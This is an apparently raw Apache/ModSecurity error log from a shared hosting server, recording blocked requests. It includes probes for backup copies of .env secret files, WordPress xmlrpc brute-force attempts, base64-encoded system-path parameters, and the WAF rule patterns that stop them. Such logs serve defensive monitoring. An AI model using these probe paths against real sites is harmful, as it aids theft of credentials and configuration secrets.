https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9ldmVudDMvZGV2aWNlL2RldmljZS9pbnB1dC9pbnB1dDQvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:23:00.032381 2026] [access_compat:error] [pid 715691:tid 715787] [remote 216.73.216.182:65257] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:00.032695 2026] [access_compat:error] [pid 715691:tid 715787] [remote 216.73.216.182:65257] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:00.076232 2026] [access_compat:error] [pid 646876:tid 646916] [remote 57.141.14.111:50428] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:00.076492 2026] [access_compat:error] [pid 646876:tid 646916] [remote 57.141.14.111:50428] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:00.289711 2026] [access_compat:error] [pid 646876:tid 646976] [remote 57.141.14.34:51884] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:00.289982 2026] [access_compat:error] [pid 646876:tid 646976] [remote 57.141.14.34:51884] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:00.344481 2026] [security2:error] [pid 646876:tid 646896] [remote 17.241.219.97:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 97.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30ZNyTkdrNlD40tSHQXQAAZBE"] [Sat Jun 13 18:23:00.359906 2026] [access_compat:error] [pid 646876:tid 646908] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vaW5wdXQ3L3N1YnN5c3RlbS9pbnB1dDI= [Sat Jun 13 18:23:00.360173 2026] [access_compat:error] [pid 646876:tid 646908] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vaW5wdXQ3L3N1YnN5c3RlbS9pbnB1dDI= [Sat Jun 13 18:23:00.483679 2026] [access_compat:error] [pid 646876:tid 646879] [remote 57.141.14.91:27752] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:00.484136 2026] [access_compat:error] [pid 646876:tid 646879] [remote 57.141.14.91:27752] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:00.723163 2026] [security2:error] [pid 646876:tid 646929] [remote 17.246.23.31:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 31.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30ZNyTkdrNlD40tSHQZQAAXDI"] [Sat Jun 13 18:23:00.843649 2026] [security2:error] [pid 646876:tid 647043] [client 23.137.105.241:27922] ModSecurity: Access denied with code 406 (phase 2). Pattern match "[a-z0-9]~$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1257"] [id "390581"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data Leakage - attempt to access backup file (disable this rule if you require access to files that end with a tilde)"] [severity "CRITICAL"] [hostname "webdisk.crishuffman.com"] [uri "/___proxy_subdomain_webdisk/.env.local~"] [unique_id "ai30ZNyTkdrNlD40tSHQZwAAACM"] [Sat Jun 13 18:23:00.846147 2026] [security2:error] [pid 646876:tid 647134] [client 23.137.105.241:27892] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\.bak|\\\\.bak\\\\.php)$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1260"] [id "390582"] [rev "2"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that nclude .bak)"] [severity "CRITICAL"] [hostname "webdisk.crishuffman.com"] [uri "/___proxy_subdomain_webdisk/.env.local.bak"] [unique_id "ai30ZNyTkdrNlD40tSHQaAAAAH4"] [Sat Jun 13 18:23:00.863801 2026] [security2:error] [pid 646876:tid 647081] [client 23.137.105.241:27906] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.backup$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1279"] [id "390588"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that end with .backup)"] [severity "CRITICAL"] [hostname "webdisk.crishuffman.com"] [uri "/___proxy_subdomain_webdisk/.env.local.backup"] [unique_id "ai30ZNyTkdrNlD40tSHQagAAAEk"] [Sat Jun 13 18:23:00.865771 2026] [security2:error] [pid 646876:tid 647074] [client 23.137.105.241:27838] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.old$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1263"] [id "390583"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that end with .old)"] [severity "CRITICAL"] [hostname "webdisk.crishuffman.com"] [uri "/___proxy_subdomain_webdisk/.env.local.old"] [unique_id "ai30ZNyTkdrNlD40tSHQawAAAEI"] [Sat Jun 13 18:23:00.865772 2026] [security2:error] [pid 715691:tid 715896] [client 23.137.105.241:27878] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.copy$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1269"] [id "390586"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that end with .copy)"] [severity "CRITICAL"] [hostname "webdisk.crishuffman.com"] [uri "/___proxy_subdomain_webdisk/.env.copy"] [unique_id "ai30ZLV-dFiaX9AtWiQgIgAAAUE"] [Sat Jun 13 18:23:00.865832 2026] [security2:error] [pid 715691:tid 715957] [client 23.137.105.241:27870] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.orig$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1266"] [id "390584"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that end with .orig)"] [severity "CRITICAL"] [hostname "webdisk.crishuffman.com"] [uri "/___proxy_subdomain_webdisk/.env.orig"] [unique_id "ai30ZLV-dFiaX9AtWiQgIwAAAX4"] [Sat Jun 13 18:23:00.866128 2026] [security2:error] [pid 715691:tid 715872] [client 210.217.96.217:40622] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 217.96.217.210.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "lisamiastudios.com"] [uri "/xmlrpc.php"] [unique_id "ai30ZLV-dFiaX9AtWiQgKAAAASk"] [Sat Jun 13 18:23:00.866146 2026] [security2:error] [pid 715691:tid 715936] [client 23.137.105.241:27862] ModSecurity: Access denied with code 406 (phase 2). Pattern match "[a-z0-9]~$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1257"] [id "390581"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data Leakage - attempt to access backup file (disable this rule if you require access to files that end with a tilde)"] [severity "CRITICAL"] [hostname "webdisk.crishuffman.com"] [uri "/___proxy_subdomain_webdisk/.env~"] [unique_id "ai30ZLV-dFiaX9AtWiQgJAAAAWk"] [Sat Jun 13 18:23:00.866192 2026] [security2:error] [pid 715691:tid 715845] [client 23.137.105.241:27864] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.sw[a-z]$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1275"] [id "390587"] [rev "5"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that end with .sw)"] [severity "CRITICAL"] [hostname "webdisk.crishuffman.com"] [uri "/___proxy_subdomain_webdisk/.env.swp"] [unique_id "ai30ZLV-dFiaX9AtWiQgJQAAAQ4"] [Sat Jun 13 18:23:00.866244 2026] [security2:error] [pid 715691:tid 715872] [client 210.217.96.217:40622] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "lisamiastudios.com"] [uri "/xmlrpc.php"] [unique_id "ai30ZLV-dFiaX9AtWiQgKAAAASk"] [Sat Jun 13 18:23:00.900507 2026] [access_compat:error] [pid 646876:tid 646955] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0NC9tb3VzZTEvc3Vic3lzdGVtL21vdXNlMC9kZXZpY2UvaWQ= [Sat Jun 13 18:23:00.900975 2026] [access_compat:error] [pid 646876:tid 646955] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2lucHV0NC9tb3VzZTEvc3Vic3lzdGVtL21vdXNlMC9kZXZpY2UvaWQ= [Sat Jun 13 18:23:00.912819 2026] [security2:error] [pid 715691:tid 715942] [client 23.137.105.241:42944] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.orig$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1266"] [id "390584"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that end with .orig)"] [severity "CRITICAL"] [hostname "webdisk.crishuffman.com"] [uri "/___proxy_subdomain_webdisk/.env.local.orig"] [unique_id "ai30ZLV-dFiaX9AtWiQgKQAAAW8"] [Sat Jun 13 18:23:00.926739 2026] [security2:error] [pid 646876:tid 647126] [client 23.137.105.241:28036] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.orig$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1266"] [id "390584"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that end with .orig)"] [severity "CRITICAL"] [hostname "webdisk.crishuffman.com"] [uri "/___proxy_subdomain_webdisk/.env.production.orig"] [unique_id "ai30ZNyTkdrNlD40tSHQbQAAAHY"] [Sat Jun 13 18:23:00.928032 2026] [security2:error] [pid 715691:tid 715909] [client 23.137.105.241:28040] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.sw[a-z]$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1275"] [id "390587"] [rev "5"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that end with .sw)"] [severity "CRITICAL"] [hostname "webdisk.crishuffman.com"] [uri "/___proxy_subdomain_webdisk/.env.local.swp"] [unique_id "ai30ZLV-dFiaX9AtWiQgKgAAAU4"] [Sat Jun 13 18:23:00.932598 2026] [security2:error] [pid 715691:tid 715879] [client 172.56.168.133:28199] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 133.168.56.172.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai30ZLV-dFiaX9AtWiQgKwAAATA"] [Sat Jun 13 18:23:00.932786 2026] [security2:error] [pid 715691:tid 715879] [client 172.56.168.133:28199] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "derektaylorbrokerage.com"] [uri "/xmlrpc.php"] [unique_id "ai30ZLV-dFiaX9AtWiQgKwAAATA"] [Sat Jun 13 18:23:00.933729 2026] [security2:error] [pid 646876:tid 647089] [client 23.137.105.241:28026] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.sw[a-z]$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1275"] [id "390587"] [rev "5"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that end with .sw)"] [severity "CRITICAL"] [hostname "webdisk.crishuffman.com"] [uri "/___proxy_subdomain_webdisk/.env.production.swp"] [unique_id "ai30ZNyTkdrNlD40tSHQbgAAAFE"] [Sat Jun 13 18:23:00.936293 2026] [security2:error] [pid 646876:tid 647051] [client 23.137.105.241:27984] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.old$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1263"] [id "390583"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that end with .old)"] [severity "CRITICAL"] [hostname "webdisk.crishuffman.com"] [uri "/___proxy_subdomain_webdisk/.env.production.old"] [unique_id "ai30ZNyTkdrNlD40tSHQbwAAACs"] [Sat Jun 13 18:23:00.942429 2026] [security2:error] [pid 646876:tid 647124] [client 23.137.105.241:27964] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.copy$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1269"] [id "390586"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that end with .copy)"] [severity "CRITICAL"] [hostname "webdisk.crishuffman.com"] [uri "/___proxy_subdomain_webdisk/.env.local.copy"] [unique_id "ai30ZNyTkdrNlD40tSHQdAAAAHQ"] [Sat Jun 13 18:23:00.942961 2026] [security2:error] [pid 646876:tid 647128] [client 23.137.105.241:27988] ModSecurity: Access denied with code 406 (phase 2). Pattern match "\\\\.backup$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1279"] [id "390588"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that end with .backup)"] [severity "CRITICAL"] [hostname "webdisk.crishuffman.com"] [uri "/___proxy_subdomain_webdisk/.env.production.backup"] [unique_id "ai30ZNyTkdrNlD40tSHQcgAAAHg"] [Sat Jun 13 18:23:00.942960 2026] [security2:error] [pid 646876:tid 647018] [client 23.137.105.241:28018] ModSecurity: Access denied with code 406 (phase 2). Pattern match "[a-z0-9]~$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1257"] [id "390581"] [rev "1"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data Leakage - attempt to access backup file (disable this rule if you require access to files that end with a tilde)"] [severity "CRITICAL"] [hostname "webdisk.crishuffman.com"] [uri "/___proxy_subdomain_webdisk/.env.production~"] [unique_id "ai30ZNyTkdrNlD40tSHQcAAAAAo"] [Sat Jun 13 18:23:00.943736 2026] [security2:error] [pid 646876:tid 647041] [client 23.137.105.241:27970] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\.bak|\\\\.bak\\\\.php)$" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "1260"] [id "390582"] [rev "2"] [msg "Atomicorp.com WAF Rules: Attack Blocked - Data leakage - attempt to access backup file (disable this rule if you require access to files that nclude .bak)"] [severity "CRITICAL"] [hostname "webdisk.crishuffman.com"] [uri "/___proxy_subdomain_webdisk/.env.production.bak"] [unique_id "ai30ZNyTkdrNlD40tSHQcwAAACE"] [Sat Jun 13 18:23:01.234439 2026] [access_compat:error] [pid 646876:tid 646887] [remote 57.141.14.80:42215] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:01.234779 2026] [access_compat:error] [pid 646876:tid 646887] [remote 57.141.14.80:42215] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:01.426500 2026] [security2:error] [pid 715691:tid 715737] [remote 17.241.227.38:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 38.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30ZbV-dFiaX9AtWiQgPAABDxs"] [Sat Jun 13 18:23:01.427945 2026] [access_compat:error] [pid 646876:tid 646993] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9kZXZpY2Uvc3Vic3lzdGVtL2lucHV0Mi9jYXBhYmlsaXRpZXM= [Sat Jun 13 18:23:01.428392 2026] [access_compat:error] [pid 646876:tid 646993] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9kZXZpY2Uvc3Vic3lzdGVtL2lucHV0Mi9jYXBhYmlsaXRpZXM= [Sat Jun 13 18:23:01.453036 2026] [access_compat:error] [pid 715691:tid 715789] [remote 57.141.14.78:20962] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:01.453495 2026] [access_compat:error] [pid 715691:tid 715789] [remote 57.141.14.78:20962] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:01.459122 2026] [access_compat:error] [pid 715691:tid 715810] [remote 57.141.14.8:28791] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:01.459610 2026] [access_compat:error] [pid 715691:tid 715810] [remote 57.141.14.8:28791] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:01.463883 2026] [security2:error] [pid 715691:tid 715736] [remote 17.246.15.210:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 210.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai30ZbV-dFiaX9AtWiQgPwABDBo"] [Sat Jun 13 18:23:01.504491 2026] [security2:error] [pid 646876:tid 646936] [remote 209.87.149.26:58319] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 26.149.87.209.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "gkmasterson.com"] [uri "/wp-login.php"] [unique_id "ai30ZdyTkdrNlD40tSHQhAAAGzk"], referer: https://gkmasterson.com/wp-login.php [Sat Jun 13 18:23:01.720963 2026] [security2:error] [pid 715691:tid 715767] [remote 195.250.23.247:44370] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 247.23.250.195.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "buyclenbuterol-online.com"] [uri "/xmlrpc.php"] [unique_id "ai30ZbV-dFiaX9AtWiQgTQABVTg"] [Sat Jun 13 18:23:01.721128 2026] [security2:error] [pid 715691:tid 715916] [client 195.250.23.247:44370] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "buyclenbuterol-online.com"] [uri "/xmlrpc.php"] [unique_id "ai30ZbV-dFiaX9AtWiQgTQABVTg"] [Sat Jun 13 18:23:01.868762 2026] [access_compat:error] [pid 715691:tid 715831] [remote 57.141.14.98:51044] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:23:01.869051 2026] [access_compat:error] [pid 715691:tid 715831] [remote 57.141.14.98:51044] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:23:01.946956 2026] [access_compat:error] [pid 646876:tid 646947] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9kZXZpY2UvaW5wdXQvaW5wdXQ0L3N1YnN5c3RlbS9ldmVudDMvcG93ZXI= [Sat Jun 13 18:23:01.947392 2026] [access_compat:error] [pid 646876:tid 646947] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: 